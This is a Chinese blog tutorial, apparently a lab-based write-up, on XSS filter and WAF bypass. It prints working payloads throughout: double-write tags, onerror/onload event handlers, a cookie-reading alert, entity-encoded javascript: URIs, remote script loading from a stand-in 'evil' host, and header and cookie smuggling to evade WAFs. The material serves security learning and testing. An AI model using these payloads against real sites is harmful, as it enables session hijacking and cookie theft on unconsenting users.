XSS过滤绕过实战:从标签构造到WAF绕过的完整思路
2026/9/15 19:14:32 网站建设 项目流程

别看我整天在各个靶场里刷XSS,说实话,真正让我觉得“这题有点意思”的,从来不是直接弹个窗就完事的那种,而是那些把过滤规则、WAF逻辑藏得严严实实,逼着你一层层拆解的关卡。今天聊的这套XSS过滤绕过、标签绕过、WAF绕过实战技巧,就是基于我在CTFHub、皮卡丘靶场、iwebsec靶场里反复复现,加上平时在真实业务环境里琢磨出来的一些经验。这篇东西不会跟你讲太多教科书式的理论,核心就是那些能在实战里直接用的思路,以及背后为什么要这么绕的逻辑。

如果你正在刷XSS相关靶场题,或者做业务安全测试时被WAF拦到怀疑人生,又或者看了一堆文档但遇到真实过滤规则还是不知道怎么下手,那这篇内容应该能给你省不少事。我会从最基础的过滤逻辑讲起,把标签构造、事件注入、DOM型特殊场景、WAF绕过手段这些东西串起来,尽量说人话,让你看完之后能有一套自己的分析路径,而不是看到过滤就抓瞎。

1. 内容整体设计与思路拆解

1.1 XSS绕不过去的本质:规则最终是人写的

很多人一上来就背Payload,什么<script>alert(1)</script><img src=x onerror=alert(1)>,背了一堆,结果遇到一个稍微像样的过滤规则就全线崩溃。问题不出在你不努力,而是你根本没搞清楚XSS绕过这事的本质。

XSS过滤本质上是一套“输入校验+输出编码”的规则组合。开发者为了防止XSS,会做三件事:黑名单过滤危险标签和关键字、白名单限定允许通过的内容、对输出位置做HTML实体编码或JavaScript编码。而我们做绕过,就是在跟这三道防线玩猫鼠游戏。关键认知是:规则是由人写的,人写的规则就一定有边界条件、有优先级漏洞、有覆盖不全的场景。

举个例子,很多开发者知道要过滤<script>,于是他们写了一个正则:preg_replace('/<script>/i', '', $input)。看起来没问题对吧?但你传<scr<script>ipt>,正则匹配到内部的<script>并将其删掉,留下来的反而拼成了<script>。这就是经典的双写绕过,原理就是利用过滤规则只做一次、不做递归匹配的缺陷。这种例子在真实代码里多得是,所以我一直强调:不要光背Payload,要理解这条规则是怎么写的,它漏掉了哪种情况,你的输入会被怎么处理。

1.2 靶场选择与学习路径:CTFHub、皮卡丘、iwebsec各有各的“脾气”

我经常被问,XSS靶场应该刷哪个。说实话,不同靶场侧重点差异很大,选对了能帮你把某一类技巧吃透,全刷也不冲突。

CTFHub的XSS题目偏向考察对过滤规则的分析,题目会明确告诉你过滤了什么,然后你需要构造闭合上下文的有效载荷,属于“定向破解”型,非常适合训练对规则的理解能力。皮卡丘靶场(Pikachu)的反射型XSS复现更贴近真实网站场景,它的输入点、输出位置都很接近业务环境,适合练基础闭合和绕过思路的完整流程。iwebsec靶场的XSS通关则更像是梯度进阶,每一关都会引入新的过滤条件,从简单的反射型到DOM型都有涉及,做完基本能建立起一套完整的排查思路。

我的建议是:先在皮卡丘把反射型XSS的完整流程跑通,再去iwebsec做梯度训练,最后用CTFHub的题来检验自己在有明确过滤规则下的变通能力。这条路走下来,你的XSS实战能力绝对不会是只会背Payload的水准。

1.3 绕过的核心思路框架:先定位上下文,再谈绕过

在展开具体技巧之前,必须强调一个前置步骤——定位注入点所在的上下文。同一条Payload在不同上下文中的效果天差地别。

我们把输出位置分成几类:HTML标签内(比如<div>你的输入</div>)、HTML标签属性内(比如<input value="你的输入">)、JavaScript代码块内(比如<script>var x = '你的输入'</script>)、以及URL属性内(比如<a href="你的输入">)。过滤规则和绕过方式都要基于这个分类来分析。

比如输入到了<div>标签里,你直接传<script>就行;但如果到了<input value="这里">,你就得先闭合掉面前的引号和标签,构造"><script>...;如果到了Js代码块里,你又得考虑是用'</script><script>来闭合,还是利用\u转义来绕过。所以别一上来就套Payload,先判断“我的输入长在哪儿”,再决定下一步。这比背一百个Payload都管用。

2. 核心细节解析与实操要点

2.1 XSS基础回顾:反射型、存储型、DOM型,绕法差异很大

既然聊到实战,基础分类还是得快速过一遍,因为不同XSS类型的绕法重点差异很大。

反射型XSS,数据通过URL参数进入服务端,服务端未经严格过滤直接拼接到HTML中返回,一次请求一次响应。这种情况下的绕过重点是“对付URL参数过滤规则”和“闭合上下文”,因为你控制了完整的请求,思路可以非常灵活。

存储型XSS,数据被保存在服务端数据库中,每次有人访问页面都会触发,常见于留言板、个人信息编辑等场景。难点在于服务端存储前往往会做更严格的过滤,而且影响面更大。绕过重点是找过滤规则的盲区,比如富文本过滤的白名单策略是否漏掉了某些事件属性,或者仅过滤了<script>但没过滤<svg>这种标签。

DOM型XSS比较特殊,它不走服务端渲染,数据完全在浏览器端被JavaScript操作后拼接到DOM中。这意味着很多服务端WAF对这类攻击无能为力,因为请求本身是合法的——攻击载荷不会出现在响应HTML的初始源码里,而是在浏览器执行Js时才被“加工”出来。DOM型XSS的绕过重点在于理解源码里Js对输入的处理方式,比如它用了innerHTML还是textContent,用了eval还是Function,有没有对引号、尖括号做处理,处理方式是否可以被奇特的编码绕过。

这一步一定要扎实,因为你做绕过时得先判断是“服务器帮我渲染”还是“浏览器自己拼出来”,两者的对抗思路完全不同。

2.2 过滤机制解析:黑名单、白名单、编码、长度限制

要绕过过滤,就得先搞清楚对面用的是什么策略。我在实际测试中总结出四类最常见的过滤机制,碰到的时候可以快速对号入座。

黑名单过滤是最常见也最好绕的。它列出一堆危险关键字,比如scriptonerrorjavascript:,然后做替换或删除。缺陷在于列表永远是不完整的,而且替换逻辑往往只做一次。对付黑名单的核心思路:大小写变形、双写、HTML实体编码、使用未收录的标签或事件。

白名单过滤要难搞得多,它只允许特定标签和属性通过典型场景在富文本编辑器里。比如允许<p><span><img>,但其他标签都会被剥掉,属性也只放行src等极少数。对付白名单,重点不是强攻而是找疏忽,比如某些低版本浏览器支持的非标准标签、事件属性漏配、某些标签的嵌套特性能不能被利用。

编码问题是个重点。HTML实体编码(&#x3c;&lt;)在HTML解析时会做一次解码,如果开发者只做了一次过滤而输出时没做实体编码,编码之后的Payload就能蒙混过关。JS里的\u003c这种Unicode转义也是一样道理。理解“你在哪一层编码,解码发生在哪一层”是绕编码过滤的核心。

长度限制也是个被很多人忽略的点。不少业务会把输入框的maxlength设成20或者50个字符。短Payload有很多经典方案,比如<svg/onload=alert(1)><img src=x onerror=alert(1)>算下来也不长。如果连10个字符的限制都给你,还可以考虑<script src=//evil>等利用外部引入的方式,把长度压力转移到域名上。

功能上我有一次遇到一个比较特殊的长度限制场景,输出位置是在一个统计页面里,每条记录只显示前20个字符。常规Payload没法触发,最后我是通过外部引入的方式,在短Payload里塞了一个<script src=//x.xx>,后面接完整攻击代码的域名,以退为进把长度限制绕过去了。

2.3 标签绕过的关键分类:事件属性、伪协议、危险标签

标签绕过本质上是在回答一个问题:既然<script>被禁了,还有什么东西能执行JavaScript?答案远比大多数人想象的多。

第一类是事件属性。几乎每个HTML元素都有一堆事件,onerroronloadonclickonmouseoveronfocusonbluroninputonchange……这些事件的值本身是一段JavaScript代码,只要元素的对应事件能被触发就行。经典例子是<img src=x onerror=alert(1)>,因为图片加载失败,onerror事件就被触发了。如果onerror被过滤了,还可以试试onload,配合一个src指向有效图片的<img>;再不行就上<svg onload=alert(1)>这类自带加载事件标签。事件属性和标签组合的排列组合思路,是标签绕过里最核心的心法。

第二类是伪协议。<a href="javascript:alert(1)">点一下就弹窗,<iframe src="javascript:alert(1)">一加载就弹窗。伪协议的精髓在于javascript:会被过滤时,可以用HTML实体编码或者制表符、换行符混入来绕过。比如jav&#x61;script:,HTML解析器会在解析属性URL时对实体解码,最终变成真的javascript:协议。这个方法在旧浏览器和某些不严谨的过滤规则下非常有效。

第三类是那些主动执行脚本的HTML标签,除了<script>,还有<iframe><object><embed><svg>等。在某些脚本环境下,<details open ontoggle=alert(1)>这种冷门标签+事件组合也很香,因为很多黑名单压根没收ontoggledetails标签。

这类绕过的核心原则是:先列一遍你能想到的“能变成JavaScript执行”的标签和属性清单,再逐个跟过滤规则做交叉比对,找到漏网之鱼。

3. 实操过程与核心环节实现

3.1 标签过滤实战:从双写、大小写到嵌套编码

我拿一个CTFHub的题来走一遍完整过程。题目的过滤规则很直接:把script关键字全部替换为空,输出位置在<div>标签内。

初看这道题,常规Payloadalert(1)里的script标签被过滤了,但我的目标只是执行Js,不一定非要script标签。考虑直接用<img src=x onerror=alert(1)>,因为过滤规则只处理了scriptimg标签不在黑名单里。但如果碰到黑名单里连onerror也收了,就得换个思路。

再假设onerror也被过滤了,我们回到script标签本身,用双写绕过。构造<scr<script>ipt>alert(1)</script>,程序会把中间的<script>删掉,原本的<script>拼到一起就变成了<script>。这里有个容易翻车的细节:双写一定得确保拼接后正好是目标单词,多一个少一个字符都不行。如果过滤规则是“先删除再递归检查”,那双写法就失效了,这时可以尝试<scr%00ipt>,利用空字节在特定环境下让过滤正则匹配失败,但浏览器解析时却能正常识别。当然,在现在的浏览器里空字节基本被禁了,碰到的场景更可能是在后端逻辑和某种中间层处理的缝隙里。

大小写绕过在/i不区分大小写的正则面前没用,但如果写正则的人忘了加i修饰符,那<ScRiPt>就能直接过关。编码绕过则是把字符串里的字符用HTML实体替代,像<script>写成<&#115;cript>,如果过滤发生在服务端但对输出没有做实体编码,这种就可能成功。

组合起来说,面对一道过滤题目时我的处理路径是:先确认过滤规则覆盖了哪些关键字,然后从“同功能不同实现”的角度找替代方案,事件属性不行就换伪协议,伪协议不行就换冷门标签,单层编码不行就双层编码。每走一步都要在当前环境里实测效果,别凭感觉下结论。

3.2 WAF绕过实战:编码拆分、等价替换、行为分离三板斧

WAF跟简单的过滤函数不是一个量级的东西,它会对整个请求做检测,包括URL、请求头、请求体,甚至还会做解码尝试。绕过WAF的方法论可以归纳成三板斧:编码拆分、等价替换、行为分离。

编码拆分的意思是让WAF无法理解你的Payload,但浏览器可以。比如alert(document.domain)可以写成alert(document['domain']),或者alert(document['dom' + 'ain']),把关键字拆成字符串拼接。WAF如果只匹配document.domain这种完整特征,就会被这种拆法骗过。再比如把alert(1)写成alert(1)中间塞注释:alert/*xss*/(1),或者写成top[‘al’+‘ert’](1)进一步动态构造函数名。浏览器解析JS时会自动处理字符串拼接,结果一样,WAF在静态特征匹配时看到的却是“无害”的内容。

等价替换的核心是找同类函数替代。alert被禁了用confirmprompt顶上;document.cookie被收了用document['cookie']eval不好使了试试Function构造函数。这种替换需要你对JavaScript的API足够熟悉,平时可以专门整理一份“XSS常用等价替换清单”,比如访问器、属性调用、全局函数这些,到用的时候直接查。

行为分离的思路更有意思,把恶意代码变形到请求的不同位置。比如有些WAF只检测URL参数而忽略POST数据或者Cookie。我自己在iwebsec靶场里就遇到过一道题,WAF把所有GET参数里的<script>onerror都拦得死死的,但Cookie字段完全没检测,于是我把Payload塞到Cookie里,再用一段无害的JS代码从Cookie里读取并执行,就这么悄无声息地过了WAF。类似的手法还有利用请求头注入:把Payload藏在User-AgentReferer这些通常不检测或者检测较弱的请求头里,很多存储型XSS就是这么打进去的。

3.3 DOM型XSS绕过:聚焦浏览器端JavaScript的加工过程

DOM型XSS是很多人的知识盲区,因为你在浏览器里看页面源码,看到的全是正常的HTML和JS,没有服务端拼接的痕迹。攻击链路完全发生在浏览器内部:Js读取某个输入源(比如location.hashdocument.referrerwindow.name),然后经过一系列操作后写入innerHTMLdocument.write()eval()这样的危险函数。

在CTFHub练习DOM型XSS时,我踩过的最大坑是:很多人以为把<script>alert(1)</script>放进URL的#后面就行,结果发现页面根本没反应。原因是innerHTML插入<script>标签时,现代浏览器根本不会执行其中的代码——这是HTML5规范明确规定的。所以做DOM型绕过,第一步是看懂源码里用了什么Sink(危险函数),以及它之前做了哪些处理。

如果碰到innerHTML拼HTML,那就用<img src=x onerror=alert(1)>或者<svg onload=alert(1)>这类事件型标签,它们不受innerHTML的脚本执行限制。如果碰到evalFunction执行的是我控制的字符串,就需要构造能让Js语法正确的代码,比如先闭合掉原有的引号和括号,再注入自己的代码。如果源码用了escape()encodeURIComponent()之类做了编码,则可能需要二次编码或者利用浏览器自动解码的特性来绕过。

我整理了一个DOM型XSS的代码审计速查表,看到源码里的关键词基本就能知道漏洞形式:innerHTMLouterHTMLdocument.write()基本走HTML注入路线,适合事件型标签;eval()setTimeout()(字符串形式)、Function()走代码注入路线,需要考虑闭合问题;locationlocation.hreflocation.replace()走URL跳转,可配合javascript:伪协议。这套速查表在实战里帮我节省了大量时间。

3.4 靶场复现:皮卡丘反射型XSS和iwebsec通关记录

皮卡丘靶场的反射型XSS复现流程非常接近真实业务。页面给了一个输入框,输入内容会显示在页面上。刚开始直接输入<script>alert(1)</script>,没反应,说明服务端有基础过滤。打开开发者工具看响应里我的输入是怎么被处理的,发现<script>被过滤了,但没报错也没替换成实体。

既然script被处理了,我换成<img src=x onerror=alert(document.cookie)>。这次成功弹窗,而且拿到的是当前域名的Cookie。这个过程的启示是:不要在一个Payload上死磕,快速尝试不同攻击向量本身就是在探测过滤规则。看完响应你能知道服务端是替换、删除还是转义,这决定了后面的绕法。

iwebsec的XSS关卡则更系统。第一关是基础的<script>注入,第二关开始有事件属性过滤,第三关给了长度限制,需要去外站找答案或者用外部脚本加载。我记得有一关把onerrorscript都过滤了,但没过滤svgonload事件,最终用<svg/onload=alert(1)>过关。这类靶场的价值在于,每过一关,你对“哪种标签还能用、哪种写法还能触发”的直觉就更准一点。

实战和靶场的感受差别还是不小的。靶场里的规则往往是准确、可预测、单层的,真实WAF的检测逻辑复杂得多,并且会组合多种规则。所以靶场是拿来练基本功的,别以为通关了就能在真实渗透里顺风顺水。

4. 常见问题与排查技巧实录

4.1 问题速查表:过滤了script但没反应、引号闭合失败、长度限制等

这里我把平时被问到最多的几个问题统一整理成一张速查表,方便你遇到时直接对号入座。

症状可能原因排查思路参考方案
<script>被过滤但Payload没执行过滤把标签删了或者转义了查看响应中输入的落地位置换事件属性或伪协议
输入到引号属性里但拼接不成功没闭合引号和外层标签观察源码中属性前后结构构造"><img src=x onerror=...>
有长度限制(如20字符)输入被截断统计可用字符数<svg/onload=alert(1)>或外部加载
WAF拦截了alert(1)特征匹配命中分拆函数名或改用其他函数top[‘al’+‘ert’]confirmprompt
innerHTML里插了<script>没反应浏览器不执行innerHTML中的script检查源码中Sink类型用事件标签或iframe srcdoc
输入被做了HTML实体编码服务端使用了htmlspecialchars等函数看编码后的实体是否能还原尝试&#x3c;二级编码或JS上下文注入
过滤了括号正则匹配了()找不用括号的写法onerror=alert配合错误触发或throw

这张表不是万能的,但能帮你把大多数卡住的情况定位到方向。很多时候你没法一步到位,需要组合几个方法,比如先绕过长度限制,再用编码翻过WAF。

4.2 从实战里趟出来的避坑心得

有一句话我每次都想强调:做XSS测试,观察响应比猜测过滤规则更有效。很多新手不去看页面源码里输入到底被怎么处理了,只顾着换Payload,效率极低。你在开发者工具里看一眼,输入是被整体删除了、转义了、还是被实体编码了,绕过路径基本就清楚了一大半。

关于事件触发的选择,很多场景下你喜欢用onerror,但如果src指向一个有效资源,图片能正常加载,onerror就不会触发。这时用onload反而更稳。测试时建议先在本地搭个最简单的测试页,对各种事件在不同标签下的触发条件做一遍验证,会建立起非常扎实的直觉。别嫌这一步基础,真到了实战里能救命。

过滤规则的组合远比单条规则复杂得多。比如黑名单既收了script又收了onerror,但没处理<svg>onload;或者对GET参数做了严格过滤但对POST数据网开一面。所以我在刷题和测试时,会用一个笔记本把不同WAF、不同规则的“漏网之鱼”记录下来,慢慢形成自己的绕过字典。这个方法听起来笨,但长期积累下来比任何公开的Payload大字典都好用。

还有一个容易被忽略的点是浏览器差异。一个Payload在Chrome里弹窗了,不代表在Safari里也能正常触发。如果你是在做安全研究,平时测试尽量保持多浏览器验证的习惯;如果是实际项目授权测试,也需要在目标用户常用的浏览器环境里确认是否真正生效,避免出现“你以为成功了但实际用户没触发”的尴尬。

4.3 结合RCE过滤绕过的类比思考:过滤绕过的思维是通用的

标题热词里出现了“RCE代码执行过滤绕过”,虽然RCE和XSS是两个领域,但过滤绕过的思维高度相通:你有一串特定代码想执行,对面有一套规则不让你执行。RCE的绕过方式里,空格被过滤时用${IFS}替代、关键字被过滤时用变量拼接、命令被拼接时用分号和管道符分隔……这些思想和XSS里的编码拆分、等价替换、行为分离如出一辙。

我经常跟朋友说,网络安全里最值钱的不是某个具体Payload,而是“怎么在这种规则下找到执行机会”的思维模式。一旦你把这种思维练出来了,不管是XSS、SQL注入、命令注入、模板注入还是别的什么,你会发现本质都是同一件事:找到过滤器的盲区,把你的代码送到能执行它的地方去。

建议你在学XSS绕过之余,去了解一下命令注入和模板注入的过滤绕过案例,对拓宽思路很有帮助。代码执行的本质是数据意外变成了指令,而过滤的本质是在数据和指令之间加一道闸门,绕过就是找到闸门的缝隙。

结尾

这套东西写下来,我自己也在脑子里把很多场景重新过了一遍。说点掏心窝子的话,XSS绕过能力不是靠看文章看出来的,一定要自己动手去靶场里反复测。我建议你从皮卡丘靶场的反射型XSS开始,把每一关的过滤规则和绕过逻辑记下来,再去iwebsec做梯度练习,最后拿CTFHub的题目检验自己。测试时保持一个好习惯——每次尝试都记录输入、输出、预期和实际结果,别嫌麻烦,这套记录就是你以后最宝贵的绕过字典。

另外,学到这些技巧后,请务必只在授权测试、自己搭建的靶场或漏洞众测平台里使用。真正的安全能力,不是能攻破多少系统,而是知道如何带着分寸感去发现和报告问题。希望这篇内容能帮你少走点弯路,如果在实操中遇到什么有意思的绕过场景,欢迎回来继续交流。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询